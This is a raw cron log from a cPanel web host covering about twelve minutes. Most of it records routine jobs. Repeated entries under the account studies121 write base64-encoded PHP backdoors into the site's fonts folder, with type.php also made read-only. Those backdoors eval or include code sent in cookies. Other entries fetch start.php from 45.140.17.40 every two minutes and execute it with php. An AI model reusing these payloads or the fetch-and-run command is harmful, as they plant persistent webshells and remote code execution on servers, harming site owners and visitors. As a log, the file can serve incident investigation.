Sep  9 15:03:01 ip-184-168-122-23 CROND[4266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:04:01 ip-184-168-122-23 CROND[4362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:04:01 ip-184-168-122-23 CROND[4364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:04:01 ip-184-168-122-23 CROND[4365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:04:01 ip-184-168-122-23 CROND[4367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:04:01 ip-184-168-122-23 CROND[4366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:05:01 ip-184-168-122-23 CROND[4460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:05:01 ip-184-168-122-23 CROND[4462]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:05:01 ip-184-168-122-23 CROND[4464]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 15:05:01 ip-184-168-122-23 CROND[4465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:05:01 ip-184-168-122-23 CROND[4467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:05:01 ip-184-168-122-23 CROND[4468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:05:01 ip-184-168-122-23 CROND[4470]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:06:01 ip-184-168-122-23 CROND[4570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:06:01 ip-184-168-122-23 CROND[4569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:06:01 ip-184-168-122-23 CROND[4572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:06:01 ip-184-168-122-23 CROND[4573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:06:01 ip-184-168-122-23 CROND[4575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:07:01 ip-184-168-122-23 CROND[4749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:07:02 ip-184-168-122-23 CROND[4752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:07:02 ip-184-168-122-23 CROND[4753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:07:02 ip-184-168-122-23 CROND[4754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:08:01 ip-184-168-122-23 CROND[4872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:08:01 ip-184-168-122-23 CROND[4874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:08:01 ip-184-168-122-23 CROND[4875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:08:01 ip-184-168-122-23 CROND[4876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:08:01 ip-184-168-122-23 CROND[4877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:09:01 ip-184-168-122-23 CROND[4960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:09:01 ip-184-168-122-23 CROND[4962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:09:01 ip-184-168-122-23 CROND[4963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:09:01 ip-184-168-122-23 CROND[4965]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 15:09:01 ip-184-168-122-23 CROND[4964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:10:01 ip-184-168-122-23 CROND[5053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:10:01 ip-184-168-122-23 CROND[5054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:10:01 ip-184-168-122-23 CROND[5055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:10:01 ip-184-168-122-23 CROND[5059]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:10:01 ip-184-168-122-23 CROND[5057]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:10:01 ip-184-168-122-23 CROND[5060]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:10:01 ip-184-168-122-23 CROND[5063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:10:01 ip-184-168-122-23 CROND[5058]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 15:11:01 ip-184-168-122-23 CROND[5161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:11:01 ip-184-168-122-23 CROND[5162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:11:01 ip-184-168-122-23 CROND[5165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:11:01 ip-184-168-122-23 CROND[5164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:12:01 ip-184-168-122-23 CROND[5256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:12:01 ip-184-168-122-23 CROND[5258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:12:01 ip-184-168-122-23 CROND[5259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:12:01 ip-184-168-122-23 CROND[5260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:12:01 ip-184-168-122-23 CROND[5262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:13:01 ip-184-168-122-23 CROND[5427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:13:01 ip-184-168-122-23 CROND[5426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:13:01 ip-184-168-122-23 CROND[5428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:13:01 ip-184-168-122-23 CROND[5429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:14:01 ip-184-168-122-23 CROND[5502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 15:14:01 ip-184-168-122-23 CROND[5504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 15:14:01 ip-184-168-122-23 CROND[5505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:14:01 ip-184-168-122-23 CROND[5506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 15:14:01 ip-184-168-122-23 CROND[5507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:15:01 ip-184-168-122-23 CROND[5593]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:15:01 ip-184-168-122-23 CROND[5597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:15:01 ip-184-168-122-23 CROND[5598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:15:01 ip-184-168-122-23 CROND[5595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:15:01 ip-184-168-122-23 CROND[5596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
